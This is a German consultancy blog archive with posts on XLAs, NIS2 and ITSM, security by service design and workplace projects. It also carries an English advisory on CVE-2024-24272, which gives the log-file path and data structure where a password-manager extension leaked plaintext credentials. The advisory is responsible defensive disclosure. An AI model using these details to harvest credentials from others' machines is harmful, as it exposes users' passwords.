Kategorie: Allgemein

Allgemein, Digital Workplace, ITSM

Wofür braucht es XLA’s am Digital Workplace? 

Für Digital Workplace Leader besteht die Aufgabe, die optimale Arbeitsumgebung für Mitarbeiter zu schaffen. XLA’s sind eine Möglichkeit, die täglichen Anforderungen des Mitarbeiterteams besser nachzuvollziehen.  

Der Wassermelonen-Effekt 
Doch was tun, wenn die SLA-Kennzahlen grün leuchten, aber die Mitarbeiter dennoch mit den IT-Diensten am Arbeitsplatz unzufrieden sind? Dieses Phänomen wird als „Wassermelonen-Effekt“ bezeichnet: Auf der Oberfläche scheint alles in Ordnung zu sein – Hardware und Software sind ausreichend vorhanden, die Kennzahlen zeigen Erfolg, die Tools passen – aber in Wahrheit fühlen sich Mitarbeiter durch Ihren Arbeitsplatz unmotiviert und frustriert. Vor allem dann, wenn sie nicht wissen, wie sie ihre Unzufriedenheit bei den üblichen SLA-Umfragen im Unternehmen ausdrücken sollen. Von der Technik her scheint doch alles zu passen? 

Die Problematik der negativen Employee Experience ist, dass sie einen tieferen Ursprung hat als SLAs dies messbar machen. Erfüllte KPIs (Key Performance Indicators), die hinter den SLAs stehen, messen die allgemeine IT-Leistung.  Darunter zählt unter anderem die Verfügbarkeit der IT-Systeme, die Reaktionszeit des Service Desk etc. Durch die Vorgehensweise der SLAs werden nur Kennzahlen dar geben, somit können keine subjektiven Eindrücke der Mitarbeiter im Arbeitsalltag widergespiegelt werden. Um den qualitativen Eindruck aus Mitarbeitersicht messbar zu machen, bieten XLAs (Experience Level Agreements) den nächsten Baustein zu den bestehenden SLAs.  

Anwender vs. Anforderungen 

Was sich in SLAs nicht abbilden lässt, ist die Frustration oder Begeisterung am Arbeitsplatz:  


Office 2016, ein bereits veraltetes Softwarepaket, wird im Unternehmen genutzt. Mitarbeiter verwenden dieses und konzipieren zusammen mit dem Kunden eine PowerPoint-Folie. Zeittechnisch halten die Mitarbeiter Deadlines ein, schicken dem Kunden neue Entwürfe und sehen den Arbeitsfortschritt positiv. Schon bald ruft der Kunde jedoch an und beschwert sich darüber, dass seine Kommentare in zurückgeschickten Entwürfen nicht abgearbeitet werden, während er mit weiteren Entwürfen überflutet wird.   
 
Der Kunde besaß im Gegensatz zu den Mitarbeitern des Unternehmens das neueste Office 2023. Die Kommentare des Kunden im zurückgeschickten Entwurf wurden auf der alten Version aus 2016 im Layout nicht sichtbar angezeigt. Eine peinliche Situation, die an fehlendem Innovationsmanagement im Unternehmen gebunden war. In halbjährlichen SLA-Umfragen ist so ein Einzelfall aufgrund des quantitativen Messverfahrens gar nicht erst messbar. Also bleibt es bei den 10 Punkten Zufriedenheit unter „Programmverfügbarkeit am Arbeitsplatz“. Das Programm war jederzeit nach SLA-Anforderungen abrufbar; welche Qualität in der User-Experience lag, ist daran nicht abbildbar. 

 
Das Beispiel ist an SLAs die sich auf die Reaktionszeit der IT beziehen gespiegelt anwendbar. Häufig sieht das Unternehmen die Einhaltung von SLAs der internen IT kritischer, als es diese ist. Das bedeutet das Unternehmen steckt Unmengen an Geld in die interne IT welche blitzschnelle Reaktionszeiten auf Tickets und Notfälle aufweist. Das aufgrund einer Menge bereitstehendem Personal. 

Erstmal ist das definitiv eine positive Eigenschaft, jedoch stellt sich schnell die Frage, ob das bei einer internen IT überhaupt nötig ist. Bei externen Service Desks von Mobilfunkanbietern, Versicherungen oder Banken besteht, vor allem bei Security Incidents, die Prämisse immer IT-Personal auf Bereitschaft zu haben. Dort ist das Interesse und die Nachfrage danach nachvollziehbar groß, da diese auch mit dem Verkaufsfaktor der Dienstleistung verknüpft ist. 

Doch eine IT, die sich um Softwareausfälle und kaputte Hardware innerhalb des Büros kümmert, blüht im Unternehmen auch schon bei einem Level von “es klappt schon” auf. Wenn diese dann auch mal ein größeres Problem löst, steigt sie in den Augen des Büros schnell vom Underdog zum Helden auf.  

Ein weiterer Psychologischer Effekt ist die falsche Erwartungshaltung, die sich daraus bildet, dass die IT auf jedes kleine Problem ad hoc innerhalb kürzester Zeit reagiert. “Die haben jetzt aber schnell reagiert!” – und wenn das mal nicht der Fall ist, dann Ernüchterung doppelt so groß und die Beschwerden ebenso.  

Diese beiden Beispiele zeigen eine klare Problematik auf, wie findet man das Maß an Anforderung der Mitarbeiter? 

Was sind XLA’s? 

Um solche noch harmlosen Vorfälle zu verhindern, muss man schnell erkennen, welche Unzufriedenheiten sich in Ecken von Unternehmen breit machen. Dabei dienen die qualitativen Messverfahren der XLAs als Ansatzpunkt für Führungskräfte.  

XLA’s (Experience Level Agreements) sind Vereinbarungen, die die Benutzerzufriedenheit nach qualitativen Messverfahren analysieren und optimieren. Während SLA (Service Level Agreements) sich auf technische und betriebliche Leistungsmetriken konzentrieren sowie vertraglich Verfügbarkeitszeiten von Services festlegen. XLA’s den Fokus auf die Wahrnehmung und das Erlebnis des Endbenutzers, um ein umfassenderes Bild der Servicequalität zu bieten. Sie berücksichtigen die emotionale Reaktion der Benutzer auf die erbrachten Dienstleistungen.   

Die Verknüpfung zu den vorher bestehenden SLA’s am Arbeitsplatz besteht darin, dass XLA die Erweiterung oder Ergänzung zu SLA’s darstellen und durch die XLA-Auswertungen auch Anpassungen an den SLA und KPIs resultieren können und sollten.  

Was heißt qualitativ messen 

XLAs und SLAs arbeiten zusammen. SLAs legen vertraglich fest, inwiefern technische Services im Unternehmen verfügbar sein müssen. Dazu zählt die Erreichbarkeit des Ticket System der IT und die durch SLAs festgelegten Rückmeldezeiten der IT beim User. Durch SLAs wird sichergestellt, dass eine Dienstleistung in einem gegebenen Rahmen vorhanden ist und erfüllt wird.  

XLAs wiederum beschäftigen sich mit der Erfahrung rund um die Dienstleistung, der Employee-Experience (Mitarbeitererfahrung) in unsrem Beispiel des Digital Workplace. Darauf baut die Abschätzung zukünftiger Bedürfnisse auf, welche dazu dient, die positive Arbeitserfahrung am Arbeitsplatz zu fördern. Im Beispiel der IT und des gelösten Tickets spielt der Fokus nicht, wie schnell wurde das Problem durch die IT gelöst, sondern wie fühlte sich der User? Wurden im Alternativen in der Arbeitsweise bereitgelegt? Wie nahm er den Umgang mit seinem Problem durch die IT auf? 

Um XLAs in der Organisation effektiv anzuwenden, gibt es unterschiedliche Herangehensweisen. Im Falle der Employee-Experience kann ähnlich wie bei halbjährlichen SLA-Umfragen ein separater XLA-Bogen verteilt werden, bei dem auf die subjektiven Erfahrungen der Mitarbeiter rund um den Arbeitsplatz eingegangen wird. Dazu gehört auch die vorherige Abschätzung von neu aufkommenden Bedürfnissen in der Belegschaft. Beispielhaft sollte instinktiv gefragt werden:  

  • Braucht Ihr Guides für eure neuen oder auch alten Tools?   
  • Wie hätten wir das Onboarding besser gestalten können?  
  • Welches Programm fehlt euch im Unternehmen?  
  • Welche noch nicht bestehenden Funktionen wünscht ihr euch?  
  • Welches Projekt lief eurer Meinung nicht gut, obwohl es erfolgreich war?   

Hierbei ist nicht nur die klassische, häufig übersprungene Frage: „Sonstiges?“ Im Fragebogen gleichzusetzen. Es muss sich in die Lage der User versetzt werden, noch besser: Key User werden in der Konzipierung des Abfragemodells einbezogen.  

Wie funktionieren XLA im Unternehmen?  

Mechanismen wie der CES (Customer Effort Score), welcher die Anstrengung für die Erreichung eines Ziels durch den User beschreibt, oder der CSAT (Customer Satifaction) welcher die Zufriedenheit mit einer Dienstleistung misst, sind mögliche Ansatzpunkte, um XLAs einzubinden. Diese können quantitativ (Skalen oder Rangordnung fokussierte Fragebögen) sowie qualitativ (Textfeld Antworten welche komplexe, subjektive und detaillierte Begründungen zu spezifischen Fragen ermöglichen) gemessen werden. Hierbei setzen die Rahmenbedingungen um die Messung den Fokus auf individuelle Erfahrungen der Mitarbeiter. Dabei gibt es beispielsweise folgende Umsetzungsmöglichkeiten:  

Post-Interaction-Surveys: Nach jeder Interaktion zwischen IT und Mitarbeitern gibt es eine Befragung per Fragebogen, dessen Fragen sich an den Beispielen aus dem Kapitel „Was heißt qualitativ messen“ orientieren. In der Entwicklung des Surveys ist es von oberster Wichtigkeit, sich in die Lage der Mitarbeiter zu versetzen – noch besser, diese gleich bei der Entwicklung des Fragebogens einzubinden. Somit entwickeln sich Fragestellungen, die subjektiven Erfahrungen messbar machen und möglichen Beschwerden entgegenkommen.  

Interview in Fokusgruppen: Mitarbeiter und IT nehmen sich in Gruppen den eigenen Digital Workplace vor und analysieren diesen nach Ihren jeweiligen Vorstellungen, Anforderungen und Erfahrungen. Somit bildet sich ein gegenseitiges Verständnis im Arbeitsalltag bei Problembewältigung der IT. Dazu gelingt die konkrete Umsetzung von Wünschen bei Mitarbeitern durch den direkten Kontakt mit der IT leichter.  

Dies sind nur zwei beispielhafte Möglichkeiten. Für die konkrete Verwendung von XLAs zum Fördern des Digital Workplace und Förderung der Employee Experience sollte man nicht mit Kanonen auf Spatzen schießen. Das heißt, die eigene IT sowie die Mitarbeiter müssen an den Prozess, der Beantwortung von subjektiven Erfahrungen langsam herangeführt werden. Die Entwicklung der nötigen Strukturen für eine Befragung der Employee Experience selbst braucht eine eigene Instanz im Unternehmen. Der nötige Arbeitsaufwand kann nicht nebenbei zu täglichen Geschäftsprozessen von einem Team bewältigt werden.  Das liegt daran, dass der Fokus auf einzelne Bereiche im Unternehmen hin und her schwanken kann. Ebenso die spezifischen Fragestellungen immer angepasst werden müssen und sich stetig ändernde Technologien das Mitarbeiterumfeld prägen.  

Die nötigen internen SLAs zwischen IT und den Mitarbeiterteams müssen dazu auch bereits bestehen, das Service Design ausgearbeitet und die Strukturen der Teams im Unternehmen und deren Beziehung zur IT einsehbar sein.  Touchpoints an verschiedenen Stellen im Unternehmen wie am Headdesk, dem Service Desk, dem Onboarding und der IT selbst sind Brennpunkte für XLA-Befragungen, da genau dort die meisten subjektiven Erfahrungen zustande kommen.  

 
XLA an Touchpoints 

Um XLA’s im Arbeitsalltag anzuwenden, muss man sich langsam an die Thematik herantasten und Stück für Stück umsetzen. Nach einer Analyse des Unternehmens und dessen Geschäftsprozesse, kann festgehalten werden, welche Touchpoints Mitarbeiter intern am häufigsten haben. Bei Ticketschließungen, Onboardings und Restrukturierungen in der Organisation braucht es ein System, welches in kurzer Zeit Schlüsselerfahrungen der Mitarbeiter festhält.   

Kurzabfragen nach Ticketschließung, persönliche Gespräche, Feedbackrunden, individualisierte Emails – all das bietet die Chance, neues über Mitarbeiterbedürfnisse zu erfahren. Von gewünschten Tools, Ablaufänderungen, Problemlösungsvorschläge und Lob, die Outcomes sind genauso vielfältig wie die Möglichkeiten Mitarbeiter abzufragen.  

Wichtig ist, dass hierbei nicht nur die Regelmäßigkeit mit den Touchpoints eine Rolle spielt, sondern viel mehr auch die Kritikalität in der Mitarbeitererfahrung mit diesen. Verstehen kann man das in einem Vergleich: Der Ausfall einer viel genutzten Software im Unternehmen trifft die Mitarbeiter im Arbeitsalltag und Arbeitsvorschritt schwerer als der leere Obstkorb im Pausenraum. Beides wird eine negative Erfahrung für Mitarbeiter darstellen, doch die erstere hat breitere Auswirkungen. Genau während und nach solchen Krisen lohnt es sich in der Organisation zu fragen: „Wie nehmt Ihr die Situation um die Lösung des Softwareausfalls wahr? Findet Ihr Alternativen in der Arbeitsweise?“ Schlussendlich geht es bei der Mitarbeitererfahrung nur um eines, die stetige Verbesserung dieser. 

Unser Bezug 

Bei der nötigen Definition und Entwicklung von SLAs und der Schaffung einer Grundstruktur in der IT des Unternehmens bietet HiSolutions drei Jahrzehnte Erfahrung an. Dies dient als idealer Grundbaustein für die folgende Förderung der Employee Experience durch die Implementierung von XLAs – ohne in diesem zeitaufwendigen Prozess die interne IT zu strapazieren.

Allgemein, Incidents, Risikomanagement, Security Engineering

Wie ITSM die NIS2 Compliance unterstützt 

Mit der Einführung der NIS2-Richtlinie, die eine Umsetzung in nationales Recht bis zum 18.10.2024 vorsieht, werden Unternehmen dazu verpflichtet, angemessene Maßnahmen zur Gewährleistung der Cybersicherheit zu ergreifen. Im Rahmen des IT Service Managements (ITSM) sind verschiedene Aspekte von NIS2 von Bedeutung, um die Compliance sicherzustellen und die Cybersicherheit zu stärken. 

Die Umsetzung der EU-Richtlinie in deutsches Recht wird aktuell immer weiter verschoben. Im aktuell öffentlichen Entwurf des deutschen NIS2-Umsetzungsgesetzes steht zwar weiterhin der 01.10.2024 als Beginn der Umsetzungspflicht, aber aktuelle Gerüchte weisen darauf hin, dass die Verabschiedung des Gesetzes sich auch über dieses Datum hinaus verzögern könnte.  

Über drei Jahrzehnte Erfahrung von HiSolutions in der IT-Management- und Informationssicherheitsberatung zeigen, dass die in NIS2 geforderten Maßnahmen und deren wirksame Umsetzung sehr zeitaufwändig sein können. Unsere Empfehlung bleibt deshalb, sofort auf Basis der bereits jetzt verfügbaren Informationen wie den jetzigen EU-Vorgaben, dem aktuellen Entwurf des deutschen Umsetzungsgesetzes sowie gängigen Standards und BSI-Vorgaben zu handeln. 


Mit diesem Übersichtsartikel bauen wir einen Leitfaden auf. Dieser soll auch Unternehmen, die zum ersten Mal regulatorisch erfasst werden, eine Einführung in die Best Practices im IT Service Management bieten. Zukünftige Artikel zur Vertiefung behandeln folgende NIS2-relevante Handlungsfelder: 

  1. Behandlung von Sicherheitsvorfällen 

Unternehmen müssen Prozesse zur Erkennung, Meldung und Behandlung von Sicherheitsvorfällen implementieren. NIS2 legt fest, dass Organisationen Sicherheitsvorfälle innerhalb bestimmter Fristen melden und angemessene Maßnahmen zur Eindämmung und Behebung ergreifen müssen. Daher müssen Unternehmen entsprechende Incident Management Prozesse etablieren, um Sicherheitsvorfälle effektiv zu bearbeiten und die Auswirkungen auf ihre IT-Dienste zu minimieren.  

Aus Sicht des IT-Service Managements sind hier der Service Desk, bei dem Endanwender mit Meldungen zu Sicherheitsvorfällen ankommen, der Incident Management Prozess, der eng mit dem Security Incident Prozess verzahnt sein sollte sowie die Maßnahmen rund um das Logging und Monitoring von Systemen involviert. 

  1. Business Continuity 

NIS2 fordert von Unternehmen die Entwicklung von Business-Continuity-Plänen, um die Verfügbarkeit kritischer Dienste auch während und nach Sicherheitsvorfällen sicherzustellen. Im IT Service Management werden aus dem Business Continuity Management (BCM) die entsprechenden IT Service Continuity Management (ITSCM) Maßnahmen abgeleitet. Das ITSCM ist wiederum eng mit dem Availability und dem Capacity Management verbunden. Um ein ITSCM effektiv zu gestalten, sind Grundlagen aus dem Service Configuration Management notwendig. 

  1. Auslagerungsmanagement 

Unternehmen, die kritische Dienste an externe Dienstleister auslagern, müssen sicherstellen, dass diese Dienstleister angemessene Sicherheitsmaßnahmen implementieren. NIS2 legt fest, dass Unternehmen die Verantwortung für die Sicherheit ihrer ausgelagerten Dienste nicht delegieren können. Im ITSM bedeutet dies, dass Unternehmen geeignete Mechanismen für das Auslagerungsmanagement etablieren müssen, um sicherzustellen, dass externe Dienstleister die Anforderungen an die Cybersicherheit erfüllen. Die entsprechenden Maßnahmen werden im Supplier sowie im Service Level Management definiert. 

  1. Security Awareness 

Die Sensibilisierung der Mitarbeiter für Cybersicherheit ist ein zentraler Bestandteil der NIS2-Compliance. Unternehmen müssen Schulungsprogramme zur Sicherheitsaufklärung durchführen, um das Bewusstsein und Verständnis für Sicherheitsrisiken zu fördern. Im ITSM ist es wichtig, Security Awareness Trainings in die laufenden Schulungsaktivitäten zu integrieren, um sicherzustellen, dass Mitarbeiter die Bedeutung von Cybersicherheit verstehen und entsprechend handeln. Dabei hat der Service Desk eine Nähe zu den Anwendern und das Relationship Management zu den Kunden, was für die Etablierung und Durchführung von Security Awareness Maßnahmen genutzt werden kann. 

  1. Risikoanalyse 

Eine kontinuierliche Risikoanalyse ist entscheidend für die Identifizierung und Bewertung von Sicherheitsrisiken gemäß den NIS2-Anforderungen. Unternehmen müssen Risikomanagementprozesse implementieren, um potenzielle Bedrohungen zu erkennen und geeignete Gegenmaßnahmen zu ergreifen. Im ITSM sollten Unternehmen regelmäßige Risikobewertungen durchführen und angemessene Sicherheitskontrollen implementieren, um Risiken zu minimieren und die Compliance sicherzustellen. Dies geschieht im Bereich Risk Management. 

  1. Übergreifende Practices 

NIS2 hat weitreichende Auswirkungen auf verschiedene Aspekte des ITSM und erfordert eine integrierte Herangehensweise an die Cybersicherheit. Dies geschieht durch die Best Practices im Information Security Management und wird durch das Infrastructure and Plattform Management gestützt. Unternehmen müssen sicherstellen, dass ihre ITSM-Prozesse und -Praktiken die Anforderungen von NIS2 erfüllen und eng mit anderen Compliance-Richtlinien und -Standards wie z. B. ISO 27001 abgestimmt sind. Durch eine ganzheitliche Herangehensweise können Unternehmen die Cybersicherheit stärken und die Einhaltung der Vorschriften im IT Asset/Deployment Management sicherstellen. Das dafür notwendige Change Management wiederum bezieht sich auf bewährte Prozesse und Methoden zur systematischen Planung, Steuerung und Umsetzung von Veränderungen in IT Systemen und Services. Ziel ist es, Änderungen kontrolliert und effektiv zu verwalten, um Risiken zu reduzieren und die Zuverlässigkeit der IT Services zu erhöhen. 

NIS kommt: Wir unterstützen Sie bei der Umsetzung. 
Der neue NIS2-Kompass von HiSolutions zeigt Ihnen in einer schnellen Selbstauskunft, ob Ihre Organisation von NIS2 betroffen ist und was Sie tun müssen.

Advisories, Allgemein

CVE-2024-24272 – DualSafe Password Manager Leaks Credentials

During an investigation, HiSolutions discovered a credential leak of a password manager that was installed as browser extension. After reporting the vulnerability, the vendor was quick to respond and implemented a fix.

Summary

The DualSafe Password Manager by iTop before version 1.4.24 leaks credentials as plaintext in a log file that can be accessed by the local user without knowledge of the master secret (CWE-532). This vulnerability was assigned CVE-2024-24272.

Update to the newest version (at least 1.4.24) as soon as possible and replace potentially leaked credentials.

Vulnerability Details

The following details were produced in a test setup with the vulnerable version 1.4.21 of the DualSafe Password Manager installed in Chrome. After storing and using several credential pairs via the blue extension icon on the top right corner, the log file started showing some entries that contain the plaintext credentials.

Logging is done via a text file in the directory of the browser extension, in this case: C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgbjhdkjmpgjgcbcdlhkokkckpjmedgc\000003.log (file name may vary).

The following image depicts the credential pair stored in DualSafe (right) as well as the log file that contains the same password as plaintext (left).

DualSafe password manager and its log file. Cleartext credentials are marked in the log file.
DualSafe Password Manager leaks plaintext password in log file.

One interesting thing to note is that, while the log file contains some credentials as plaintext in a structure like this one: cacheTabinfoes1_1Þ{"[...]":{"confirmItem":{"pwd":"<password>",[...], "type":"login","uname":"<user>","uri":["<url>"]}}}, there are also similar structures with the key pwd but their value is encrypted. Though the observed log events did not indicate the exact trigger for an entry with a plaintext password, passwords could already be extracted after just a few login attempts.

Usually, the password manager requires a master secret to unlock and access the stored credentials. This vulnerability allows an attacker to harvest stored credentials from the log file without knowing the master secret.

Remediation

iTop announced a fix in version 1.4.24.

Shortly after reporting the vulnerability details to iTop, a fix was implemented and rolled out across Firefox, Edge, and Chrome. Update to the newest version as soon as possible and check for potentially leaked passwords in the described location (the exact path depends on the browser).

Should passwords have been leaked this way, rotate them after updating the extension.

Responsible Disclosure Timeline

  • 04.01.2024 – HiSolutions contacts iTop
  • 30.01.2024 – HiSolutions contacts iTop again after no response
  • 31.01.2024 – iTop responds and requests vulnerability details
  • 31.01.2024 – HiSolutions provides all vulnerability details
  • 01.02.2024 – iTop announces that a fix has been implemented and will be published soon
  • 02.02.2024 – iTop requests a delay before publication to roll out the fix
  • 05.02.2024 – iTop releases 1.4.24 on Firefox and Edge
  • 15.02.2024 – iTop releases 1.4.24 on Chrome
  • 12.03.2024 – HiSolution requests green light for publication
  • 13.03.2024 – iTop accepts and states that 1.4.24 fixes the vulnerability

Credits

This vulnerability was discovered by Paula T., Joshua Z. and Pascal B. (HiSolutions AG). We also thank iTop for their swift response and remediation regarding this vulnerability.

Allgemein

Security by Service Design 

Bilden Service Management und Information Security Management das Dream-Team zur dauerhaften Gewährleistung des Sicherheitsniveaus? Der Security by Service-Design (SxSD) Ansatz adressiert, dass Security in allen Bereichen des Service Managements mitgedacht und mitgelenkt wird – und sorgt so dafür, dass Sicherheit von der ersten Idee eines neuen Service über die Inbetriebnahme und den Regelbetrieb bis zur Außerbetriebnahme gewährleistet wird.  

Von Martin Glaser, Andreas Dassen, Franz Gläser und Robert Manuel Beck

Trotz allgegenwärtig zunehmender Sicherheitsvorfälle wird Security meist immer noch in einem von zwei Modi betrieben: entweder nach dem Gießkannenprinzip der Compliance (Gleiches Maß an Sicherheit für alle Services & Anwendungen) oder nach der Rettungsdienstlogik (Vorfall -> Management Attention -> Aktivismus), bisweilen mühsam getarnt durch das Label der Risikobasiertheit. Bei vielen Unternehmen folgt das IT-Sicherheitsprogramm noch keinem systematischen Grundsatz. 

In der Softwareentwicklung ist Security by Design ein wichtiges Paradigma, das hilft, Sicherheit frühzeitig und ganzheitlich im Code zu verankern. Dies zielt jedoch in der Regel auf einzelne Produkte ab, ist damit aufwendig, immer individuell umzusetzen und vor allem auf die Entwicklungsphase am Anfang des Lebenszyklus beschränkt. Der Ansatz Security by Service Design erweitert das Konzept von der Softwareentwicklung auf den gesamten Lebenszyklus der Services, mithin Einsatzzweck und Daseinsberechtigung der Produkte, also die Service-Erbringung. Für die betriebenen und angebotenen Services kommt somit eine angemessene Security nicht mehr zufällig heraus, sondern wird kontinuierlich an neue Bedrohungen, Technologien oder sonstige veränderte Anforderungen angepasst. 

Verankerung in der Serviceerbringung

Es existiert in der Praxis oftmals kein abgestimmtes Vorgehen zwischen Service Management und Information Security Management: 

Solange diese Trennung von Service Management und Security fortbesteht, finden im Prinzip zwei getrennte Kämpfe gegen dieselben Windmühlen statt. In Kombination mit fehlendem Business-Know-how auf beiden Seiten führt das dazu, dass die Ziele einerseits nicht aufeinander abgestimmt sind, andererseits Business-Anforderungen immer wieder individuell abgeholt werden müssen. Das wirkt auf alle Beteiligten im Geschäftsprozess dauerhaft zermürbend. 

Es fehlt also an einer Vorgehensweise, um die Serviceerbringung systematisch, ganzheitlich und dauerhaft mit der Security in das gesamte Service-Portfolio einfließen zu lassen. 

Andersherum wäre es hilfreich, Security als Kosten- und Nutzenfaktor durch das Service Management sicht- und messbar zu machen. Das wiederum, um die Kosten zu optimieren und den konkreten Nutzen für das Business herauszustellen. 

Dafür ist ein „Shift Left“ im Sinne einer Vorverlagerung analog zum Bereich der Softwareentwicklung notwendig. Dort hat das Konzept bereits einen großen Rückhalt. Security muss also von Anfang an in die Diskussion mit dem Kunden einfließen. Das verlangt nach einem intensiven Abgleich mit dem Business. So wird das richtige Maß an Sicherheit für jeden Service über den gesamten Lebenszyklus aufgebaut und aufrechterhalten. Dadurch werden Risikobasiertheit, Wirtschaftlichkeit und Nachhaltigkeit zu Qualitätskategorien. Über diese wird mit Kunden verhandelt und nicht zuletzt auch die Preisfindung betrieben. Gelingen kann das jedoch nur durch tiefe Integration in andere Qualitätsprozesse und die eingesetzten Service Management Frameworks. 

Ist die Zusammenarbeit erfolgreich, ergibt sich für Information Security Management eine höhere Sicherheit. Denn das gewünschte Risikoniveau im Betrieb ist dauerhaft gewährleistet. Das garantiert reduzierten Stress durch weniger Feuerwehreinsätze und eindeutige Verantwortlichkeiten. Aufseiten des Service Managements lässt sich eine erhöhte Kundenzufriedenheit erzielen sowie gegebenenfalls auch ein Alleinstellungsmerkmal auf dem Markt produzieren. 

Das neue Dream-Team 

Wenn es also gelingt, die Ziele von Service Management und Information Security Management aufeinander abzustimmen, kann eine Kette von Sicherheitsanforderungen vom Kunden des IT-Services bis hin zu den von den einzelnen IT-Bereichen erbrachten Services abgebildet werden.  

Dafür müssen Kunden beantworten, welche Anforderungen an Vertraulichkeit, Integrität, Verfügbarkeit und weitere Werte der im Service verarbeiteten Informationen zu stellen sind. Durch Konkretisierung und Einstufung des Schutzbedarfs in einem Service-Level-Agreement (SLA) lassen sich dann reale Maßnahmen in der Serviceerbringung definieren. Das Service-Modell muss dafür das Wissen bereitstellen, welche Bereiche innerhalb der IT an der Leistungserbringung eines jeden Services beteiligt ist. Die Servicekomponente wird durch die Unterstützung von Information Security Management in Maßnahmen pro Bereich definiert. Damit wird das jeweilige Sicherheitslevel gewährleistet. Dazu stellt der Service-Manager mit Unterstützung durch Information Security Management sicher, dass das benötigte Sicherheitsniveau auch im Zusammenspiel der unterschiedlichen Servicekomponenten eingehalten wird. 

Die Sichtweise des Security by Service Designs ist folgende: Angestrebt wird die verlässliche Sicherheit des Services während seines gesamten Lebenszyklus – alle Beteiligten und Stakeholder dabei zu berücksichtigen ist eine Selbstverständlichkeit, egal ob sie innerhalb oder außerhalb der Organisation angesiedelt sind. 

Um das zu erreichen, muss das Service Design explizit auch Sicherheitsfragen berücksichtigen, dabei sowohl Bedrohungen von außerhalb der Organisation als auch die oftmals ignorierten internen Risiken beachten und sich vor allem in einer frühen Phase der Einführung und Entwicklung einbringen. Zusammenfassend gesprochen: Das Service Management muss alle vier Quadranten der von den Phasen Einführung und Betrieb sowie von externen und internen Bedrohungsquellen aufgespannten Matrix betrachten. 

Fazit 

Mittels Security by Service Design wird über den gesamten Service Lifecycle ein angemessenes Level an Sicherheit gewährleistet. So werden Potenziale für Sicherheitsverbesserungen aktiv gestaltet. Das Mittel dazu ist das Service Design, oder umfassender gedacht: das Service Management. 

Dank Security by Service Design können mithilfe des im Service Management kanalisierten Business-Know-Hows (wo?) gemeinsam mit der technischen Expertise der Security (wie?) Bedrohungen deutlich besser abgewehrt werden. Damit wird durch die Zusammenarbeit von IT-Service Management und Information Security Management Sicherheit effizienter auf das angestrebte Niveau gebracht. 

Allgemein

Warum sind Workplace-Projekte so komplex?

Anyone who fails to plan, is planning to fail: In der Welt der IT-Projekte scheitern immer wieder Workplace-Projekte. Das liegt daran, dass die Komplexität dieser Vorhaben unterschätzt wird. Aber warum sind Digital Workplace-Projekte schwerer zu realisieren als andere IT-Einführungsprojekte – und was kann für den Projekterfolg getan werden? 

Eine Studie aus 2022 ergab, dass 17 % aller großen IT-Projekte derart schlecht laufen, dass sie sogar die Existenz von Unternehmen bedrohen. Tatsächlich überschreiten zwei von drei umfangreichen IT-Projekten das ursprüngliche Budget um ein Vielfaches. Dazu verfehlen sie den Zeitplan und bleiben deutlich hinter den gesteckten Projektzielen zurück. Insbesondere bei Projekten im Bereich Digital Workplace fällt auf, dass deren Komplexität oft unterschätzt wird. Welche Faktoren müssen also für eine erfolgreiche Umsetzung betrachtet werden? 

These 

Die Essenz eines Workplace-Projekts liegt in der Synchronisation zwischen Stakeholdern. Stakeholder gibt es zwar in jedem IT-Einführungsprojekt, aber beim Thema Workplace gibt es eine große Zahl unterschiedlicher Interessensgruppen, da in der Regel alle Bereiche des Unternehmens mit dem Digital Workplace arbeiten und somit betroffen sind. Die Komplexität des Workplace-Projekts steigt auch mit den hohen Anforderungen an die Informationssicherheit und den Datenschutz. Eine weitere Komplexität addiert sich durch die vielen Applikationen und ggf. deren Schnittstellen, die gemanagt werden müssen. Zuletzt muss beachtet werden das der Workplace nicht nur digital stattfindet. Sofern ein Unternehmen mehrere Standorte hat, muss auch die dort bereitgestellte Arbeitsumgebung aufeinander abgestimmt sein.  

Umso schwieriger ist es, alle Interessen und Anforderungen im Blick zu behalten. Die Komplexität der Aufgaben der Projektleitung erhöht sich exponentiell mit der Anzahl der vom Projekt betroffenen Bereiche. Welche Strategien und Maßnahmen sind also für die Projektleitung in einem Workplace-Projekt zu empfehlen, um der hohen Komplexität und unterschiedlichen Arbeitsweisen im Unternehmen gerecht zu werden? 

Das Workplace Umfeld 

Maßgeblich gibt es mehrere Faktoren, die das Scheitern eines Workplace-Projekts begünstigen können. Wenn im Projekt keine genauen Rahmenbedingungen herrschen, ist es generell zum Scheitern verurteilt. Egal welches IT-Projekt realisiert werden soll: Es sollte immer eine feste Niederschrift geben, die festlegt welche Ziele im Projekt erreicht werden sollen und vor welchen Hintergründen. Die Festlegung der genauen Anforderungen und Funktionalitäten des neuen Workplace muss gegeben sein, bevor es in die Umsetzung geht. Dann heißt es nicht mitten in der Umsetzungsphase: Back to the drawing board. Zu den schriftlich festgelegten Rahmenbedingungen gehört auch eine klare Rollenverteilung innerhalb des Projekts. Durch diese wird klar, wer welche Teile des Projekts verantwortet, beeinflusst und wo es (direkte) Abhängigkeiten im Workplace-Projekt gibt. 

Mit der Festlegung der konkreten Ziele des Workplace-Projekts ist der Grundbaustein gelegt. Wenn über den Projektverlauf hinweg keine kontinuierliche Kommunikation stattfindet, wird sich darauf keine erfolgreiche Umsetzungsphase aufbauen lassen. Die eben erwähnte Einbindung aller Parteien sollte dazu genutzt werden, einen aktiven Austausch über Anforderungen, Abhängigkeiten, den Projektumfang und die aktuellen Entwicklungen am Laufen zu halten. Indem alle Parteien einbezogen werden und kurze Feedback-Zyklen genutzt werden lässt sich garantieren, dass die vielen Interdependenzen und Abhängigkeiten offengelegt werden. Dadurch arbeiten alle Beteiligten synchronisierter und stellen sich im Workflow nicht gegenseitig Schranken vor die Umsetzung. 

Eine erfolgreiche Kommunikation zwischen Projektsponsoren, Kunden, Endnutzern und IT stärkt die Erfolgschance eines Workplace-Projekts – auch nach dessen Abschluss. Und was kann die Organisation tun, um die Projektleitung zu unterstützen?

  

Die Organisation 

Idealerweise stellt die Organisation der Projektleitung die kompletten Rahmenbedingungen bereit. In diesen sollte festgelegt sein,  

  • welche übergeordneten Ziele die Organisation verfolgt und wie sich das Workplaceprojekt in diese einfügt (Big Picture), 
  • was das zukünftig abgeschlossene Workplaceprojekt bewirken soll, 
  • welche Ergebnisse in welchem Zeithorizont erwartet werden. 

Stehen diese Rahmenbedingungen fest ist es an der Projektleitung, den Erfolg des Workplace-Projekts zu garantieren.

Als Projektleitung den Überblick behalten 

